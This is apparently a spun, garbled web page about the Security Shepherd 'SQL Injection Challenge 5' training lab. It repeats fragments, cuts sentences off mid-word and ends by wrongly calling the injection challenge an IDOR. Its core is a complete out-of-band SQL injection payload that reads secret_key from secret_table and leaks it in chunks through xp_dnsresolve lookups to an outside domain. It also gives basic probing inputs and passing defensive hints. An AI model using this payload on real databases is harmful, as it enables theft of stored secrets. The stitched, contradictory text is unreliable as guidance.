Sql+injection+challenge+5+security+shepherd+new -

with signatures for OOB patterns (e.g., xp_dnsresolve , http / dns in subqueries).

Upon submitting credentials, the application responds with: sql+injection+challenge+5+security+shepherd+new

: Enter a single quote ( ' ) to see if it triggers an error, confirming the vulnerability. with signatures for OOB patterns (e

Try searching for: % (just a percent sign) ' OR 1=1; DECLARE @i int = 1;

from database servers at the firewall.

' OR 1=1; DECLARE @i int = 1; DECLARE @len int; DECLARE @chunk nvarchar(4000); SELECT @len = LEN(secret_key) FROM secret_table; WHILE @i <= @len BEGIN SELECT @chunk = SUBSTRING(secret_key, @i, 50) FROM secret_table; EXEC xp_dnsresolve @chunk + '.' + CAST(@i AS varchar) + '.collab.com'; SET @i = @i + 50; END; --

To solve the SQL Injection Challenge 5 in Security Shepherd (often titled "SQL Injection 5"), you need to exploit an Insecure Direct Object Reference (IDOR)